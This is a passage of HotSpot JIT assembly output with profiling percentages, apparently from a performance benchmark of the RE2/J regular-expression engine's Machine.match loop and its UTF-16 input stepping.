0x8(%r12,%r13,8),%ebp ; implicit exception: dispatches to 0x00007fc83d246ef5 0x00007fc83d245030: cmp $0xf80002da,%ebp ; {metadata(&apos;java/lang/String&apos;)} 0x00007fc83d245036: jne 0x00007fc83d2463b1 0.00% 0x00007fc83d24503c: lea (%r12,%r13,8),%rbp ;*invokeinterface charAt ; - java.lang.Character::codePointAt@2 (line 4866) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@60 (line 193) 0.00% 0x00007fc83d245040: test %r8d,%r8d 0x00007fc83d245043: jl 0x00007fc83d24654d ;*iflt ; - java.lang.String::charAt@1 (line 657) ; - java.lang.Character::codePointAt@2 (line 4866) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@60 (line 193) 0x00007fc83d245049: mov %eax,0x64(%rsp) 0x00007fc83d24504d: mov %edx,0x60(%rsp) 0.00% 0x00007fc83d245051: mov 0xc(%rbp),%edx ;*getfield value ; - java.lang.String::charAt@6 (line 657) ; - java.lang.Character::codePointAt@2 (line 4866) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@60 (line 193) 0.00% 0x00007fc83d245054: mov 0xc(%r12,%rdx,8),%eax ;*arraylength ; - java.lang.String::charAt@9 (line 657) ; - java.lang.Character::codePointAt@2 (line 4866) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@60 (line 193) ; implicit exception: dispatches to 0x00007fc83d246f09 0x00007fc83d245059: cmp %eax,%r8d 0x00007fc83d24505c: jge 0x00007fc83d2466cd ;*if_icmplt ; - java.lang.String::charAt@10 (line 657) ; - java.lang.Character::codePointAt@2 (line 4866) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@60 (line 193) 0x00007fc83d245062: cmp %eax,%r8d 0x00007fc83d245065: jae 0x00007fc83d246209 0x00007fc83d24506b: mov %eax,0x1c(%rsp) 0.00% 0x00007fc83d24506f: vmovd %edx,%xmm1 0x00007fc83d245073: mov %rbp,%rax 0x00007fc83d245076: mov %rbx,0x48(%rsp) 0x00007fc83d24507b: mov %edi,0x34(%rsp) 0.00% 0.01% 0x00007fc83d24507f: mov %ecx,%edx 0x00007fc83d245081: mov %r9d,0x40(%rsp) 0x00007fc83d245086: mov %r11d,0x3c(%rsp) 0x00007fc83d24508b: mov %r10,%rbx 0.00% 0x00007fc83d24508e: vmovd %xmm1,%r10d 0x00007fc83d245093: lea (%r12,%r10,8),%r9 0x00007fc83d245097: movzwl 0x10(%r9,%r8,2),%r10d ;*caload ; - java.lang.String::charAt@27 (line 660) ; - java.lang.Character::codePointAt@2 (line 4866) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@60 (line 193) 0.00% 0x00007fc83d24509d: cmp $0xd800,%r10d 0x00007fc83d2450a4: jge 0x00007fc83d24670d ;*if_icmplt ; - java.lang.Character::isHighSurrogate@3 (line 4729) ; - java.lang.Character::codePointAt@9 (line 4867) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@60 (line 193) 0.00% 0.01% 0x00007fc83d2450aa: shl $0x3,%r10d ;*ishl ; - com.google.re2j.MachineInput$UTF16Input::step@38 (line 190) ; - com.google.re2j.Machine::match@60 (line 193) 0x00007fc83d2450ae: mov %r10d,%r11d 0x00007fc83d2450b1: and $0x7,%r11d 0x00007fc83d2450b5: or $0x1,%r10d 0.01% 0.01% 0x00007fc83d2450b9: mov %r10d,%ebp 0x00007fc83d2450bc: or $0x1,%r11d ;*ior ; - com.google.re2j.MachineInput$UTF16Input::step@41 (line 190) ; - com.google.re2j.Machine::match@60 (line 193) 0x00007fc83d2450c0: mov %r11d,0x28(%rsp) 0.00% 0x00007fc83d2450c5: mov %r10d,%r8d 0.00% 0.01% 0x00007fc83d2450c8: sar $0x3,%r8d ;*ishr ; - com.google.re2j.Machine::match@68 (line 194) 0x00007fc83d2450cc: cmp $0xfffffff8,%r10d 0x00007fc83d2450d0: je 0x00007fc83d2461b4 ;*if_icmpeq ; - com.google.re2j.Machine::match@88 (line 198) 0x00007fc83d2450d6: vmovd %xmm0,%r10d 0x00007fc83d2450db: add %r11d,%r10d 0.00% 0.00% 0x00007fc83d2450de: add 0x60(%rsp),%r10d ;*iadd ; - com.google.re2j.MachineInput$UTF16Input::step@5 (line 185) ; - com.google.re2j.Machine::match@96 (line 199) 0x00007fc83d2450e3: mov %r10d,%edi 0x00007fc83d2450e6: cmp 0x64(%rsp),%r10d 0x00007fc83d2450eb: jge 0x00007fc83d245a63 ;*if_icmpge ; - com.google.re2j.MachineInput$UTF16Input::step@12 (line 186) ; - com.google.re2j.Machine::match@96 (line 199) 0x00007fc83d2450f1: test %r10d,%r10d 0x00007fc83d2450f4: jl 0x00007fc83d2465d1 ;*iflt ; - java.lang.String::charAt@1 (line 657) ; - java.lang.Character::codePointAt@2 (line 4866) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@96 (line 199) 0.01% 0x00007fc83d2450fa: cmp 0x1c(%rsp),%r10d 0x00007fc83d2450ff: jge 0x00007fc83d246761 ;*if_icmplt ; - java.lang.String::charAt@10 (line 657) ; - java.lang.Character::codePointAt@2 (line 4866) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@96 (line 199) 0x00007fc83d245105: cmp 0x1c(%rsp),%r10d 0x00007fc83d24510a: jae 0x00007fc83d246249 0.00% 0x00007fc83d245110: movzwl 0x10(%r9,%r10,2),%r9d ;*caload ; - java.lang.String::charAt@27 (line 660) ; - java.lang.Character::codePointAt@2 (line 4866) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@96 (line 199) 0x00007fc83d245116: cmp $0xd800,%r9d 0x00007fc83d24511d: jge 0x00007fc83d2467b9 ;*if_icmplt ; - java.lang.Character::isHighSurrogate@3 (line 4729) ; - java.lang.Character::codePointAt@9 (line 4867) ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) ; - com.google.re2j.Machine::match@96 (line 199) 0.01% 0.00% 0x00007fc83d245123: shl $0x3,%r9d ;*ishl ; - com.google.re2j.MachineInput$UTF16Input::step@38 (line 190) ; - com.google.re2j.Machine::match@96 (line 199) 0x00007fc83d245127: mov %r9d,%r10d 0x00007fc83d24512a: or $0x1,%r10d 0x00007fc83d24512e: and $0x7,%r9d 0.00% 0x00007fc83d245132: sar $0x3,%r10d 0.00% 0x00007fc83d245136: or $0x1,%r9d ;*ishr ; - com.google.re2j.Machine::match@104 (line 200) 0x00007fc83d24513a: vmovd %xmm0,%ecx 0x00007fc83d24513e: test %ecx,%ecx 0x00007fc83d245140: jne 0x00007fc83d246589 ;*ifne ; - com.google.re2j.Machine::match@115 (line 204) 0.01% 0x00007fc83d245146: test %r8d,%r8d 0x00007fc83d245149: jl 0x00007fc83d245a4b ;*ifge ; - com.google.re2j.Utils::emptyOpContext@21 (line 179) ; - com.google.re2j.Machine::match@121 (line 205) 0x00007fc83d24514f: mov %r10d,0x2c(%rsp) 0x00007fc83d245154: mov %r9d,0x30(%rsp) 0x00007fc83d245159: mov $0x5,%r9d ;*iload_1 ; - com.google.re2j.Utils::emptyOpContext@29 (line 182) ; - com.google.re2j.Machine::match@121 (line 205) 0.01% 0.00% 0x00007fc83d24515f: cmp $0xa,%r8d 0x00007fc83d245163: je 0x00007fc83d245a71 ;*iload_0 ; - com.google.re2j.Utils::emptyOpContext@39 (line 185) ; - com.google.re2j.Machine::match@121 (line 205) 0x00007fc83d245169: mov %r8d,%r10d 0x00007fc83d24516c: add $0xffffffbf,%r10d 0x00007fc83d245170: cmp $0x1a,%r10d ╭ 0x00007fc83d245174: jb 0x00007fc83d245187 ;*if_icmple │ ; - com.google.re2j.Utils::isWordRune@9 (line 149) │ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185) │ ; - com.google.re2j.Machine::match@121 (line 205) 0.00% │ 0x00007fc83d245176: mov %r8d,%r11d │ 0x00007fc83d245179: add $0xffffff9f,%r11d │ 0x00007fc83d24517d: cmp $0x1a,%r11d │ 0x00007fc83d245181: jae 0x00007fc83d245a80 ;*iconst_1 │ ; - com.google.re2j.Utils::isWordRune@42 (line 149) │ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185) │ ; - com.google.re2j.Machine::match@121 (line 205) 0.00% 0.01% ↘ 0x00007fc83d245187: or $0x10,%r9d ;*ior ; - com.google.re2j.Utils::emptyOpContext@53 (line 186) ; - com.google.re2j.Machine::match@121 (line 205) 0.00% 0x00007fc83d24518b: mov %r9d,0x38(%rsp) ;*iload_2 ; - com.google.re2j.Utils::emptyOpContext@63 (line 190) ; - com.google.re2j.Machine::match@121 (line 205) 0x00007fc83d245190: mov 0x3c(%rsp),%r10d 0x00007fc83d245195: test %r10d,%r10d 0x00007fc83d245198: jne 0x00007fc83d2463f1 ;*aload ; - com.google.re2j.Machine::match@136 (line 211) 0.00% 0x00007fc83d24519e: movzbl 0x11(%rbx),%r10d ;*getfield captures ; - com.google.re2j.Machine::match@283 (line 240) 0.00% 0x00007fc83d2451a3: mov 0x40(%rsp),%r9d 0.00% 0x00007fc83d2451a8: and $0x4,%r9d ;*iand ; - com.google.re2j.Machine::match@147 (line 212) 0x00007fc83d2451ac: mov %r9d,0x44(%rsp) 0.00% 0x00007fc83d2451b1: mov %rdx,%r11 0.00% 0x00007fc83d2451b4: shl $0x3,%r11 ;*getfield q1 ; - com.google.re2j.Machine::match@53 (line 192) 0x00007fc83d2451b8: mov %r11,0x20(%rsp) 0x00007fc83d2451bd: vmovd %r10d,%xmm4 0.01% 0x00007fc83d2451c2: xor %eax,%eax 0.00% 0.00% 0x00007fc83d2451c4: mov $0x1,%r10d 0x00007fc83d2451ca: xor %r11d,%r11d 0.00% 0x00007fc83d2451cd: mov %r10d,0x14(%rsp) 0x00007fc83d2451d2: mov %r11d,0x5c(%rsp) 0.00% ╭ 0x00007fc83d2451d7: jmpq 0x00007fc83d245423 ;*ifeq │ ; - com.google.re2j.Machine::match@286 (line 240) 0.01% │ ↗ 0x00007fc83d2451dc: mov %r14,%r8 0.07% 0.00% │ │ 0x00007fc83d2451df: shl $0x3,%r8 ;*getfield matchcap │ │ ; - com.google.re2j.Machine::match@307 (line 243) 0.25% 0.03% │ │ 0x00007fc83d2451e3: mov %r10,%rsi 0.01% │ │ 0x00007fc83d2451e6: mov 0x18(%rsp),%rdx 0.03% 0.01% │ │ 0x00007fc83d2451eb: mov 0x5c(%rsp),%ecx 0.06% 0.03% │ │ 0x00007fc83d2451ef: mov 0x38(%rsp),%r9d 0.27% 0.06% │ │ 0x00007fc83d2451f4: xor %edi,%edi 0.01% │ │ 0x00007fc83d2451f6: mov 0x50(%rsp),%r10 0.02% │ │ 0x00007fc83d2451fb: mov %r10,(%rsp) 0.08% 0.01% │ │ 0x00007fc83d2451ff: vmovss %xmm4,0x8(%rsp) 0.19% 0.12% │ │ 0x00007fc83d245205: xchg %ax,%ax 0.01% │ │ 0x00007fc83d245207: callq 0x00007fc83d046020 ; OopMap{[24]=Oop [32]=Oop [52]=NarrowOop [72]=Oop [80]=Oop off=652} │ │ ;*invokevirtual add │ │ ; - com.google.re2j.Machine::match@318 (line 243) │ │ ; {optimized virtual_call} 0.21% 0.24% │ │↗ 0x00007fc83d24520c: mov 0x58(%rsp),%ebx 0.08% 0.09% │ ││ 0x00007fc83d245210: test %ebx,%ebx │╭ ││ 0x00007fc83d245212: jl 0x00007fc83d245583 ;*ifge ││ ││ ; - com.google.re2j.Utils::emptyOpContext@3 (line 173) ││ ││ ; - com.google.re2j.Machine::match@326 (line 245) 0.17% 0.21% ││ ││ 0x00007fc83d245218: xor %r10d,%r10d ;*iload_0 ││ ││ ; - com.google.re2j.Utils::emptyOpContext@10 (line 176) ││ ││ ; - com.google.re2j.Machine::match@326 (line 245) 0.27% 0.32% ││ ││↗ 0x00007fc83d24521b: cmp $0xa,%ebx ││ │││ 0x00007fc83d24521e: je 0x00007fc83d245727 ;*iload_1 ││ │││ ; - com.google.re2j.Utils::emptyOpContext@20 (line 179) ││ │││ ; - com.google.re2j.Machine::match@326 (line 245) 0.12% 0.12% ││ │││ 0x00007fc83d245224: mov 0x2c(%rsp),%r11d 0.03% 0.05% ││ │││ 0x00007fc83d245229: test %r11d,%r11d ││╭ │││ 0x00007fc83d24522c: jl 0x00007fc83d24558e ;*iload_1 │││ │││ ; - com.google.re2j.Utils::emptyOpContext@29 (line 182) │││ │││ ; - com.google.re2j.Machine::match@326 (line 245) 0.17% 0.16% │││ │││↗ 0x00007fc83d245232: cmp $0xa,%r11d │││ ││││ 0x00007fc83d245236: je 0x00007fc83d245730 ;*iload_0 │││ ││││ ; - com.google.re2j.Utils::emptyOpContext@39 (line 185) │││ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.29% 0.26% │││ ││││ 0x00007fc83d24523c: mov 0x58(%rsp),%r8d 0.13% 0.16% │││ ││││ 0x00007fc83d245241: add $0xffffffbf,%r8d 0.05% 0.04% │││ ││││ 0x00007fc83d245245: cmp $0x1a,%r8d │││╭ ││││ 0x00007fc83d245249: jb 0x00007fc83d24525e ;*if_icmple ││││ ││││ ; - com.google.re2j.Utils::isWordRune@9 (line 149) ││││ ││││ ; - com.google.re2j.Utils::emptyOpContext@40 (line 185) ││││ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.19% 0.15% ││││ ││││ 0x00007fc83d24524b: mov 0x58(%rsp),%r9d 0.22% 0.39% ││││ ││││ 0x00007fc83d245250: add $0xffffff9f,%r9d 0.11% 0.14% ││││ ││││ 0x00007fc83d245254: cmp $0x1a,%r9d ││││ ││││ 0x00007fc83d245258: jae 0x00007fc83d2459da ;*iconst_1 ││││ ││││ ; - com.google.re2j.Utils::isWordRune@42 (line 149) ││││ ││││ ; - com.google.re2j.Utils::emptyOpContext@40 (line 185) ││││ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.10% 0.05% │││↘ ││││ 0x00007fc83d24525e: mov $0x1,%ebp ;*ireturn │││ ││││ ; - com.google.re2j.Utils::isWordRune@47 (line 149) │││ ││││ ; - com.google.re2j.Utils::emptyOpContext@40 (line 185) │││ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.20% 0.21% │││ ││││ 0x00007fc83d245263: mov 0x2c(%rsp),%r8d 0.30% 0.32% │││ ││││ 0x00007fc83d245268: add $0xffffffbf,%r8d 0.09% 0.13% │││ ││││ 0x00007fc83d24526c: cmp $0x1a,%r8d │││ ╭ ││││ 0x00007fc83d245270: jb 0x00007fc83d245285 ;*if_icmple │││ │ ││││ ; - com.google.re2j.Utils::isWordRune@9 (line 149) │││ │ ││││ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185) │││ │ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.09% 0.06% │││ │ ││││ 0x00007fc83d245272: mov 0x2c(%rsp),%r9d 0.19% 0.16% │││ │ ││││ 0x00007fc83d245277: add $0xffffff9f,%r9d 0.25% 0.26% │││ │ ││││ 0x00007fc83d24527b: cmp $0x1a,%r9d │││ │ ││││ 0x00007fc83d24527f: jae 0x00007fc83d2459fd ;*iconst_1 │││ │ ││││ ; - com.google.re2j.Utils::isWordRune@42 (line 149) │││ │ ││││ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185) │││ │ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.18% 0.19% │││ ↘ ││││ 0x00007fc83d245285: mov $0x1,%r8d ;*ireturn │││ ││││ ; - com.google.re2j.Utils::isWordRune@47 (line 149) │││ ││││ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185) │││ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.14% 0.18% │││ ││││ 0x00007fc83d24528b: cmp %r8d,%ebp │││ ╭ ││││ 0x00007fc83d24528e: je 0x00007fc83d24529b ;*if_icmpeq │││ │ ││││ ; - com.google.re2j.Utils::emptyOpContext@47 (line 185) │││ │ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.13% 0.16% │││ │ ││││ 0x00007fc83d245290: or $0x10,%r10d ;*ior ; - com.google.re2j.Utils::emptyOpContext@53 (line 186) │││ │ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.02% 0.01% │││ │ ││││ 0x00007fc83d245294: mov %r10d,0x38(%rsp) 0.13% 0.16% │││ │╭ ││││ 0x00007fc83d245299: jmp 0x00007fc83d2452a4 0.16% 0.24% │││ ↘│ ││││ 0x00007fc83d24529b: or $0x20,%r10d ;*ior ; - com.google.re2j.Utils::emptyOpContext@61 (line 188) │││ │ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.20% 0.27% │││ │ ││││ 0x00007fc83d24529f: mov %r10d,0x38(%rsp) ;*iload_2 │││ │ ││││ ; - com.google.re2j.Utils::emptyOpContext@63 (line 190) │││ │ ││││ ; - com.google.re2j.Machine::match@326 (line 245) 0.19% 0.23% │││ ↘ ││││ 0x00007fc83d2452a4: mov 0x48(%rsp),%r8 0.08% 0.13% │││ ││││ 0x00007fc83d2452a9: mov 0x10(%r8),%r10d ;*getfield end │││ ││││ ; - com.google.re2j.MachineInput$UTF16Input::endPos@1 (line 221) │││ ││││ ; - com.google.re2j.Machine::match@348 (line 246) 0.50% 0.31% │││ ││││ 0x00007fc83d2452ad: mov 0x5c(%rsp),%ecx 0.16% 0.22% │││ ││││ 0x00007fc83d2452b1: cmp %r10d,%ecx │││ ╭ ││││ 0x00007fc83d2452b4: je 0x00007fc83d245597 ;*if_icmpne │││ │ ││││ ; - com.google.re2j.Machine::match@351 (line 246) 0.38% 0.32% │││ │ ││││ 0x00007fc83d2452ba: xor %r10d,%r10d ;*invokespecial step │││ │ ││││ ; - com.google.re2j.Machine::match@359 (line 246) 0.05% 0.06% │││ │ ││││↗ 0x00007fc83d2452bd: mov %rax,-0x8(%rsp) 0.10% 0.15% │││ │ │││││ 0x00007fc83d2452c2: mov 0x5c(%rsp),%eax 0.11% 0.17% │││ │ │││││ 0x00007fc83d2452c6: mov %eax,0x58(%rsp) 0.28% 0.18% │││ │ │││││ 0x00007fc83d2452ca: mov -0x8(%rsp),%rax ;*invokevirtual endPos │││ │ │││││ ; - com.google.re2j.Machine::match@348 (line 246) 0.42% 0.15% │││ │ │││││ 0x00007fc83d2452cf: add 0x28(%rsp),%ecx ;*iadd │││ │ │││││ ; - com.google.re2j.Machine::match@340 (line 246) 0.16% 0.10% │││ │ │││││ 0x00007fc83d2452d3: mov %ecx,0x5c(%rsp) 0.18% 0.18% │││ │ │││││ 0x00007fc83d2452d7: mov 0x50(%rsp),%rsi 0.19% 0.21% │││ │ │││││ 0x00007fc83d2452dc: mov 0x18(%rsp),%rdx 0.14% 0.06% │││ │ │││││ 0x00007fc83d2452e1: mov 0x20(%rsp),%rcx 0.10% 0.11% │││ │ │││││ 0x00007fc83d2452e6: mov 0x58(%rsp),%r8d 0.20% 0.18% │││ │ │││││ 0x00007fc83d2452eb: mov 0x5c(%rsp),%r9d 0.46% 0.34% │││ │ │││││ 0x00007fc83d2452f0: mov %ebx,%edi 0.05% 0.03% │││ │ │││││ 0x00007fc83d2452f2: mov 0x38(%rsp),%ebx 0.09% 0.19% │││ │ │││││ 0x00007fc83d2452f6: mov %ebx,(%rsp) 0.14% 0.20% │││ │ │││││ 0x00007fc83d2452f9: xor %ebx,%ebx 0.20% 0.21% │││ │ │││││ 0x00007fc83d2452fb: mov %ebx,0x8(%rsp) 0.07% 0.08% │││ │ │││││ 0x00007fc83d2452ff: mov %r10d,0x10(%rsp) 0.08% 0.09% │││ │ │││││ 0x00007fc83d245304: data16 xchg %ax,%ax 0.16% 0.17% │││ │ │││││ 0x00007fc83d245307: callq 0x00007fc83d046020 ; OopMap{[24]=Oop [32]=Oop [52]=NarrowOop [72]=Oop [80]=Oop off=908} │││ │ │││││ ;*invokespecial step │││ │ │││││ ; - com.google.re2j.Machine::match@359 (line 246) │││ │ │││││ ; {optimized virtual_call} 0.05% 0.08% │││ │ │││││ 0x00007fc83d24530c: mov 0x50(%rsp),%r10 0.55% 0.80% │││ │ │││││ 0x00007fc83d245311: movzbl 0x11(%r10),%ecx ;*getfield captures │││ │ │││││ ; - com.google.re2j.Machine::match@371 (line 250) 0.05% 0.01% │││ │ │││││ 0x00007fc83d245316: movzbl 0x10(%r10),%eax ;*getfield matched │││ │ │││││ ; - com.google.re2j.Machine::match@378 (line 250) 0.03% 0.03% │││ │ │││││ 0x00007fc83d24531b: mov 0x28(%rsp),%r8d 0.52% 0.61% │││ │ │││││ 0x00007fc83d245320: test %r8d,%r8d │││ │╭ │││││ 0x00007fc83d245323: je 0x00007fc83d2455b1 ;*ifne │││ ││ │││││ ; - com.google.re2j.Machine::match@364 (line 247) │││ ││ │││││ 0x00007fc83d245329: test %ecx,%ecx │││ ││ │││││ 0x00007fc83d24532b: jne 0x00007fc83d245c05 ;*ifne │││ ││ │││││ ; - com.google.re2j.Machine::match@374 (line 250) 0.00% 0.02% │││ ││ │││││ 0x00007fc83d245331: test %eax,%eax │││ ││ │││││ 0x00007fc83d245333: jne 0x00007fc83d245e3d ;*ifeq │││ ││ │││││ ; - com.google.re2j.Machine::match@381 (line 250) 0.06% 0.05% │││ ││ │││││ 0x00007fc83d245339: mov %r10,%rbx 0.61% 0.65% │││ ││ │││││ 0x00007fc83d24533c: mov 0x48(%rsp),%r10 0.00% │││ ││ │││││ 0x00007fc83d245341: mov 0x10(%r10),%r11d ;*getfield end │││ ││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@9 (line 186) │││ ││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.01% 0.04% │││ ││ │││││ 0x00007fc83d245345: mov 0xc(%r10),%r9d ;*getfield start │││ ││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@2 (line 185) │││ ││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.01% 0.04% │││ ││ │││││ 0x00007fc83d245349: mov 0x14(%r10),%r13d ;*getfield str │││ ││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@16 (line 187) │││ ││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.62% 0.81% │││ ││ │││││ 0x00007fc83d24534d: mov 0x2c(%rsp),%r8d │││ ││ │││││ 0x00007fc83d245352: cmp $0xffffffff,%r8d │││ ││╭ │││││ 0x00007fc83d245356: je 0x00007fc83d2455a2 ;*if_icmpeq │││ │││ │││││ ; - com.google.re2j.Machine::match@403 (line 258) 0.00% │││ │││ │││││ 0x00007fc83d24535c: mov 0x30(%rsp),%r8d 0.03% 0.08% │││ │││ │││││ 0x00007fc83d245361: add 0x5c(%rsp),%r8d 0.53% 0.76% │││ │││ │││││ 0x00007fc83d245366: add %r9d,%r8d ;*iadd │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@5 (line 185) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) │││ │││ │││││ 0x00007fc83d245369: cmp %r11d,%r8d │││ │││ │││││ 0x00007fc83d24536c: jge 0x00007fc83d24571a ;*if_icmpge │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@12 (line 186) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.04% │││ │││ │││││ 0x00007fc83d245372: mov 0x8(%r12,%r13,8),%r10d ; implicit exception: dispatches to 0x00007fc83d246e59 0.67% 0.71% │││ │││ │││││ 0x00007fc83d245377: cmp $0xf80002da,%r10d ; {metadata(&apos;java/lang/String&apos;)} │││ │││ │││││ 0x00007fc83d24537e: jne 0x00007fc83d245b49 0.54% 0.68% │││ │││ │││││ 0x00007fc83d245384: lea (%r12,%r13,8),%rdx ;*invokeinterface charAt │││ │││ │││││ ; - java.lang.Character::codePointAt@2 (line 4866) │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) │││ │││ │││││ 0x00007fc83d245388: test %r8d,%r8d │││ │││ │││││ 0x00007fc83d24538b: jl 0x00007fc83d245c59 ;*iflt │││ │││ │││││ ; - java.lang.String::charAt@1 (line 657) │││ │││ │││││ ; - java.lang.Character::codePointAt@2 (line 4866) │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.03% 0.02% │││ │││ │││││ 0x00007fc83d245391: mov 0xc(%rdx),%r10d ;*getfield value │││ │││ │││││ ; - java.lang.String::charAt@6 (line 657) │││ │││ │││││ ; - java.lang.Character::codePointAt@2 (line 4866) │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.07% 0.07% │││ │││ │││││ 0x00007fc83d245395: mov 0xc(%r12,%r10,8),%ebp ;*arraylength │││ │││ │││││ ; - java.lang.String::charAt@9 (line 657) │││ │││ │││││ ; - java.lang.Character::codePointAt@2 (line 4866) │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) │││ │││ │││││ ; implicit exception: dispatches to 0x00007fc83d246e6d 2.31% 2.68% │││ │││ │││││ 0x00007fc83d24539a: cmp %ebp,%r8d │││ │││ │││││ 0x00007fc83d24539d: jge 0x00007fc83d245e91 ;*if_icmplt │││ │││ │││││ ; - java.lang.String::charAt@10 (line 657) │││ │││ │││││ ; - java.lang.Character::codePointAt@2 (line 4866) │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.55% 0.72% │││ │││ │││││ 0x00007fc83d2453a3: cmp %ebp,%r8d │││ │││ │││││ 0x00007fc83d2453a6: jae 0x00007fc83d245ad7 0.21% 0.25% │││ │││ │││││ 0x00007fc83d2453ac: shl $0x3,%r10 0.01% │││ │││ │││││ 0x00007fc83d2453b0: movzwl 0x10(%r10,%r8,2),%edi ;*caload │││ │││ │││││ ; - java.lang.String::charAt@27 (line 660) │││ │││ │││││ ; - java.lang.Character::codePointAt@2 (line 4866) │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.26% 0.32% │││ │││ │││││ 0x00007fc83d2453b6: cmp $0xd800,%edi │││ │││ │││││ 0x00007fc83d2453bc: jge 0x00007fc83d245ef1 ;*if_icmplt │││ │││ │││││ ; - java.lang.Character::isHighSurrogate@3 (line 4729) │││ │││ │││││ ; - java.lang.Character::codePointAt@9 (line 4867) │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.40% 0.67% │││ │││ │││││ 0x00007fc83d2453c2: shl $0x3,%edi ;*ishl │││ │││ │││││ ; - com.google.re2j.MachineInput$UTF16Input::step@38 (line 190) │││ │││ │││││ ; - com.google.re2j.Machine::match@411 (line 259) 0.30% 0.37% │││ │││ │││││ 0x00007fc83d2453c5: mov %edi,%r10d 0.00% 0.00% │││ │││ │││││ 0x00007fc83d2453c8: or $0x1,%r10d 0.51% 0.65% │││ │││ │││││ 0x00007fc83d2453cc: and $0x7,%edi 0.01% 0.02% │││ │││ │││││ 0x00007fc83d2453cf: sar $0x3,%r10d ;*ishr │││ │││ │││││ ; - com.google.re2j.Machine::match@419 (line 260) 0.56% 0.72% │││ │││ │││││ 0x00007fc83d2453d3: or $0x1,%edi ; OopMap{rbx=Oop r13=NarrowOop [24]=Oop [32]=Oop [72]=Oop off=1110} │││ │││ │││││ ;*goto │││ │││ │││││ ; - com.google.re2j.Machine::match@441 (line 266) 0.01% 0.00% │││ │││ │││││↗ 0x00007fc83d2453d6: test %eax,0x18549c24(%rip) # 0x00007fc85578f000 │││ │││ ││││││ ;*goto │││ │││ ││││││ ; - com.google.re2j.Machine::match@441 (line 266) │││ │││ ││││││ ; {poll} 0.04% 0.04% │││ │││ ││││││ 0x00007fc83d2453dc: mov 0x28(%rbx),%r14d ;*getfield matchcap │││ │││ ││││││ ; - com.google.re2j.Machine::match@307 (line 243) 0.01% 0.02% │││ │││ ││││││ 0x00007fc83d2453e0: mov 0x14(%rbx),%esi ;*getfield re2 │││ │││ ││││││ ; - com.google.re2j.Machine::match@169 (line 220) 0.57% 0.74% │││ │││ ││││││ 0x00007fc83d2453e3: mov 0x20(%rsp),%r8 │││ │││ ││││││ 0x00007fc83d2453e8: mov %r8,%rdx 0.02% 0.01% │││ │││ ││││││ 0x00007fc83d2453eb: shr $0x3,%rdx 0.01% 0.01% │││ │││ ││││││ 0x00007fc83d2453ef: mov %edx,0x34(%rsp) 0.67% 0.65% │││ │││ ││││││ 0x00007fc83d2453f3: mov 0x2c(%rsp),%r8d 0.00% │││ │││ ││││││ 0x00007fc83d2453f8: mov %r10d,0x2c(%rsp) 0.01% 0.03% │││ │││ ││││││ 0x00007fc83d2453fd: mov 0x18(%rsp),%r10 0.01% 0.01% │││ │││ ││││││ 0x00007fc83d245402: mov %r10,0x20(%rsp) 0.50% 0.72% │││ │││ ││││││ 0x00007fc83d245407: vmovd %ecx,%xmm4 0.00% │││ │││ ││││││ 0x00007fc83d24540b: mov 0x30(%rsp),%r10d 0.02% 0.02% │││ │││ ││││││ 0x00007fc83d245410: mov %r10d,0x28(%rsp) 0.01% 0.01% │││ │││ ││││││ 0x00007fc83d245415: mov 